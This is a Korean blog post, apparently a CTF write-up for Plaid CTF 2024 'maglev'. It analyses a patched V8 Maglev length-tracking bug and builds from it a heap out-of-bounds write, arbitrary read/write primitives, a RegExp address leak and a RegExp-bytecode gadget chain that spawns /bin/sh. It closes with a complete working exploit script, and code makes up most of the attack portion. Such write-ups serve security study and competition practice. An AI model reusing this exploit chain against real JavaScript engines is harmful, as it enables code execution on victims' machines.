hiariz 님의 블로그
[Plaid CTF 2024] maglev 본문
개요
이 문제의 핵심은 Maglev가 배열 length를 추적하는 방식이 패치로 깨졌다는 점이다. 원래 push는 하나의 길이값을 기준으로 grow 여부를 판단하고, 같은 길이를 index로 사용해 값을 저장한 뒤, 마지막에 새 길이를 기록해야 한다. 그런데 패치 후에는 이 과정에서 두 개의 길이값이 섞여 쓰인다.
하나는 Maglev가 이미 알고 있다고 믿는 cached length이고, 다른 하나는 실제 힙의 JSArray::length 필드에서 다시 읽어 온 fresh length다. 문제는 grow 판단은 cached length로 하고, 실제 element store와 실제 length 갱신은 fresh length로 한다는 점이다.
여기에 push/pop 이후 property state를 기록할 때 kStore가 아니라 kLoad로 남기도록 바뀌어 있어서, alias된 배열에서 stale length가 그대로 살아남는다.
취약점 원인
패치에서 중요한 부분은 두 가지다.
첫 번째는 push가 길이를 둘로 나눠서 쓴다는 점이다.
ValueNode* new_array_length_smi =
AddNewNode<CheckedSmiIncrement>({old_array_length_smi});
ValueNode* length_field_smi;
GET_VALUE_OR_ABORT(length_field_smi,
GetSmiValue(AddNewNode<LoadTaggedField>({receiver},
JSArray::kLengthOffset)));
ValueNode* length_field = AddNewNode<UnsafeSmiUntag>({length_field_smi});
ValueNode* new_length_field_smi =
AddNewNode<CheckedSmiIncrement>({length_field_smi});
old_array_length_smi는 cached length, length_field_smi는 실제 힙의 fresh length다.
그 다음 실제 사용 위치를 보면 더 분명해진다.
AddNewNode<StoreTaggedFieldNoWriteBarrier>({receiver, new_length_field_smi},
JSArray::kLengthOffset);
AddNewNode<StoreFixedDoubleArrayElement>(
{writable_elements_array, length_field, value});
즉 grow를 판단할 때와 실제 쓰기 위치를 정할 때 쓰는 기준이 달라졌다.
두 번째는 push/pop이 실제로는 length를 수정하는데도 Maglev에게는 load처럼 보이게 만든 점이다.
RecordKnownProperty(receiver, broker()->length_string(), new_array_length_smi,
false, compiler::AccessMode::kLoad);
원래 이 자리는 kStore여야 한다. store로 기록되면 기존 length 캐시를 무효화해야 하지만, load로 기록되면 예전 캐시를 그대로 들고 간다. 그 결과 같은 배열을 가리키는 두 alias 사이에 stale length와 fresh length가 동시에 남을 수 있다.
이 두 변화가 합쳐지면서 exploitable한 상태가 된다.
취약점 트리거
가장 먼저 확인한 건 stale length가 실제로 생기느냐는 점이었다. 최소 형태는 아래 정도면 충분하다.
function stale_len(a, b) {
let cached = a.length;
b.pop();
return a.length;
}
%PrepareFunctionForOptimization(stale_len);
for (let i = 0; i < 2; i++) {
let warm = [1.1, 2.2, 3.3, 4.4];
stale_len(warm, warm);
}
%OptimizeMaglevOnNextCall(stale_len);
let arr = [1.1, 2.2, 3.3, 4.4];
let ret = stale_len(arr, arr);
throw new Error("ret=" + ret + " real=" + arr.length);
여기서 a와 b는 문법상 다른 인자지만 실제로는 같은 배열을 받는다. 정상이라면 b.pop() 이후 마지막 a.length는 3이어야 한다. 하지만 최적화된 코드에서는 4가 재사용된다. 이걸로 stale length가 실제로 남는다는 걸 확인할 수 있다.
그 다음 단계는 이 stale length를 push에 태워서 heap OOB write로 바꾸는 것이다. 핵심은 같은 배열을 가리키는 두 alias를 번갈아 사용하는 것이다.
let arr = [];
let arr2 = arr;
function trigger() {
arr2.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(3.4540680395689801e-308);
arr2.push(6.1075495069397581e-309);
arr2.push(8.4879838501182713e-314);
arr2.push(0.1);
}
이 코드를 읽는 방법은 단순하다.
- 첫
arr2.push(1.1)로 실제 heaplength를 먼저 올린다. - 이어지는 여러
arr.push(1.1)로 실제 배열 길이를 backing store 끝까지 밀어 붙인다. - 마지막
arr2.push(...)에서는arr2쪽 stale cachedlength를 기준으로 grow 여부를 판단한다. - 하지만 실제 store index는 fresh
length를 쓰기 때문에 backing store 바깥으로 써 버린다.
즉 exploit가 처음으로 메모리를 깨는 순간은 마지막 arr2.push(...) 구간이다.
왜 double array를 썼는가
source 배열을 double array로 잡은 이유는 payload를 64비트 단위로 다루기 쉽기 때문이다. double array에서 한 원소는 그대로 8바이트 qword다. 그래서 OOB write가 나면 원하는 비트패턴을 거의 그대로 인접 객체에 써 넣을 수 있다.
이를 위해 보통 아래 같은 helper를 둔다.
const buf = new ArrayBuffer(8);
const dv = new DataView(buf);
function p64() {
if (arguments.length === 1) {
dv.setBigUint64(0, BigInt(arguments[0]), true);
return dv.getFloat64(0, true);
}
dv.setUint32(0, arguments[1], true);
dv.setUint32(4, arguments[0], true);
return dv.getFloat64(0, true);
}
function u64(v) {
dv.setFloat64(0, v, true);
return dv.getBigUint64(0, true);
}
function u64_l(v) {
dv.setFloat64(0, v, true);
return dv.getUint32(0, true);
}
뒤에서 쓰는 이상한 subnormal double 값들은 사실 숫자로서 의미가 있는 게 아니라 overwrite payload라고 보는 편이 맞다.
주소 릭은 어떻게 했는가
heap OOB write만으로는 부족하다. 다음 단계는 인접 객체를 깨서 arbitrary read/write를 만드는 것이다. 여기서는 다른 double array 하나를 victim으로 둔다.
let float_arr = [1.1, 2.2, 3.3, 4.4];
let obj_array = [float_arr, float_arr];
이제 corrupted double array의 OOB 슬롯 중 하나가 float_arr의 header qword와 겹치도록 레이아웃을 맞춘다. 이 qword에는 length와 elements 관련 정보가 같이 들어 있으므로, 그 슬롯에 값을 쓰는 것만으로 float_arr.elements를 임의 주소로 바꿀 수 있다.
primitive는 대략 이렇게 잡힌다.
function addrr(addr) {
corrupted[slot] = p64(10, addr);
return u64(float_arr[0]);
}
function addrrl(addr) {
corrupted[slot] = p64(10, addr);
return u64_l(float_arr[0]);
}
function addrw(addr, hi, lo) {
corrupted[slot] = p64(10, addr + 1);
float_arr[0] = p64(hi, lo);
}
의미는 간단하다. float_arr.elements를 addr로 바꿔 두면 float_arr[0] read/write가 사실상 addr에서의 8바이트 read/write가 된다.
주소 릭은 이 primitive와 object array를 조합해서 한다. object array에는 JSObject 포인터가 들어 있으므로, 그 근처를 읽으면 원하는 객체 주소를 알아낼 수 있다. 최종 exploit에서는 RegExp 객체 주소를 먼저 leak하고, 그다음 그 내부 포인터를 따라가 data 구조체와 bytecode buffer 주소를 알아낸다.
즉 주소 릭 과정은 다음 흐름이다.
- corrupted double array로 victim array metadata를 덮는다.
- victim array를 arbitrary read/write용 도구로 바꾼다.
- object array를 통해 JSObject 포인터를 leak한다.
- leak한 포인터를 따라가 RegExp 내부 주소를 얻는다.
익스 체인
arbitrary read/write를 얻은 뒤에는 실행 sink를 정해야 한다. 이 문제에서는 RegExp가 가장 깔끔했다. 이유는 V8이 RegExp용 bytecode interpreter를 원래부터 갖고 있기 때문이다. 즉 regex.exec()는 단순한 함수 호출이 아니라 내부 bytecode를 읽고 해석하는 실행 경로다.
흐름은 다음과 같다.
let s = "aaaa";
let regex = /.../g;
obj_array[0] = regex;
let addr_regex = u64_l(corrupted[some_slot]);
let data_addr = addrrl(addr_regex + 0x4);
regex.exec(s);
let bytecode = addrrl(data_addr + 0x14);
addrw(data_addr + some_offset, 0, 2);
여기서 하는 일은:
- RegExp 객체 주소를 leak한다.
- 그 내부 data 구조체 주소를 읽는다.
- 실제 bytecode buffer 주소를 읽는다.
- 그다음 arbitrary write로 해당 구조를 조작한다.
이후에는 float_arr.elements를 bytecode buffer 쪽으로 돌려 놓고, float_arr[i] = ... 형태로 bytecode와 gadget 체인을 써 넣는다.
corrupted[slot] = p64(50, bytecode + 0x7 + 1);
for (; chain_idx < chain.length - 1; fl_idx++) {
float_arr[fl_idx] = p64(chain[chain_idx + 1], chain[chain_idx]);
chain_idx += 2;
}
즉 exploit의 본질은 "RegExp interpreter가 읽을 프로그램을 공격자가 다시 써 주는 것"이다.
셸은 어떻게 얻었는가
마지막 단계는 전통적인 shellcode 실행과는 조금 다르다. RWX 페이지에 기계어를 써 넣고 점프한 것이 아니라, RegExp interpreter가 읽는 bytecode를 덮고 그 bytecode가 gadget 체인을 실행하도록 만든 것이다.
보통 builder는 이런 식으로 짠다.
let chain = [];
function push_reg(idx) {
chain.push(((idx << 8) & 0xffffff00) | 0x03);
}
function pop_reg(idx) {
chain.push(((idx << 8) & 0xffffff00) | 0x0c);
}
function advance_reg(idx, value) {
chain.push(((idx << 8) & 0xffffff00) | 0x09);
chain.push(value);
}
function set_reg(idx, value) {
chain.push(((idx << 8) & 0xffffff00) | 0x08);
chain.push(value);
}
이건 x86 shellcode를 만드는 코드가 아니라 RegExp VM이 이해하는 opcode stream을 만드는 코드다. 여기에 /bin/sh 문자열과 최종 syscall 상태를 만들 값을 채운다.
set_reg(idx++, 0x6e69622f);
set_reg(idx++, 0x68732f);
그다음 gadget offset들을 이어 붙여 최종적으로 execve("/bin/sh", 0, 0) 상태를 만든다. 마지막 regex.exec()가 호출되면, 엔진은 원래 정규식 매칭을 수행하는 대신 우리가 덮어쓴 bytecode를 따라가고, 그 결과로 셸이 열린다.
최종 익스코드
const buf = new ArrayBuffer(8);
const dv = new DataView(buf);
function p64() {
if (arguments.length === 1) {
dv.setBigUint64(0, BigInt(arguments[0]), true);
return dv.getFloat64(0, true);
}
dv.setUint32(0, arguments[1], true);
dv.setUint32(4, arguments[0], true);
return dv.getFloat64(0, true);
}
function u64(val) {
dv.setFloat64(0, val, true);
return dv.getBigUint64(0, true);
}
function u64_l(val) {
dv.setFloat64(0, val, true);
return dv.getUint32(0, true);
}
let cor_arr;
let arr = [];
let arr2 = arr;
function f() {
cor_arr = [arr, arr];
arr2.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr.push(1.1);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(7.7);
arr2.push(3.4540680395689801e-308);
arr2.push(6.1075495069397581e-309);
arr2.push(8.4879838501182713e-314);
arr2.push(0.1);
}
%PrepareFunctionForOptimization(f);
f();
f();
%OptimizeMaglevOnNextCall(f);
arr = [];
arr.push(1.1);
arr2 = arr;
let float_arr = [1.1, 2.2, 3.3, 4.4];
let obj_array = [float_arr, float_arr];
f();
let cor = cor_arr[0];
function addrr(addr) {
cor[23] = p64(10, addr);
return u64(float_arr[0]);
}
function addrrl(addr) {
cor[23] = p64(10, addr);
return u64_l(float_arr[0]);
}
function addrw(addr, valh, vall) {
cor[23] = p64(10, addr + 1);
float_arr[0] = p64(valh, vall);
}
let s = "aaaa";
let regex = /[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*[a-zA-Z0-9]*/g;
obj_array[0] = regex;
let addr_regex = u64_l(cor[25]);
let data_addr = addrrl(addr_regex + 0x4);
regex.exec(s);
let bytecode = addrrl(data_addr + 0x14);
addrw(data_addr + 0x2f - 8, 0, 2);
let rop = [];
function push_reg(idx) {
rop.push(((idx << 8) & 0xffffff00) | 0x03);
}
function pop_reg(idx) {
rop.push(((idx << 8) & 0xffffff00) | 0x0c);
}
function mov_reg1_to_reg2(idx1, idx2) {
push_reg(idx1);
pop_reg(idx2);
}
function advance_reg(idx, value) {
rop.push(((idx << 8) & 0xffffff00) | 0x09);
rop.push(value);
}
function set_reg(idx, value) {
rop.push(((idx << 8) & 0xffffff00) | 0x08);
rop.push(value);
}
function success() {
rop.push(0x0000000e);
if (rop.length % 2 === 1) rop.push(0x0000000e);
}
let idx = 0x52;
function add_gadget(addr) {
mov_reg1_to_reg2(3, 5);
advance_reg(5, addr);
mov_reg1_to_reg2(5, idx++);
mov_reg1_to_reg2(4, idx++);
}
mov_reg1_to_reg2(0x53, 4);
mov_reg1_to_reg2(0x52, 3);
advance_reg(3, 0xFE9BBCE0);
add_gadget(0x11ab9fa);
add_gadget(0x2644000);
add_gadget(0x1082d5e);
set_reg(idx++, 0x6e69622f);
set_reg(idx++, 0x68732f);
add_gadget(0x1636fa3);
add_gadget(0x14b44dc);
add_gadget(0x2644000);
add_gadget(0x11ab9fa);
set_reg(idx++, 0);
set_reg(idx++, 0);
add_gadget(0x1082d5e);
set_reg(idx++, 0);
set_reg(idx++, 0);
add_gadget(0x11091b0);
set_reg(idx++, 0x3b);
set_reg(idx++, 0);
add_gadget(0x108492d);
success();
cor[23] = p64(50, bytecode + 0x7 + 1);
let rop_idx = 0;
let fl_idx = 0;
for (; rop_idx < rop.length - 1; fl_idx++) {
float_arr[fl_idx] = p64(rop[rop_idx + 1], rop[rop_idx]);
rop_idx += 2;
}
regex.exec(s);

'CTF, Wargame' 카테고리의 다른 글
| [Dice CTF 2026] garden (0) | 2026.03.11 |
|---|---|
| [Dice CTF 2026] bytecrusher (0) | 2026.03.11 |
| [Plaid CTF 2025] zerodeo (CVE-2025-32023) (0) | 2026.02.26 |
| [Plaid CTF 2025] ocalc (1) | 2026.02.21 |
| [Plaid CTF 2025] Bounty Board (0) | 2026.02.13 |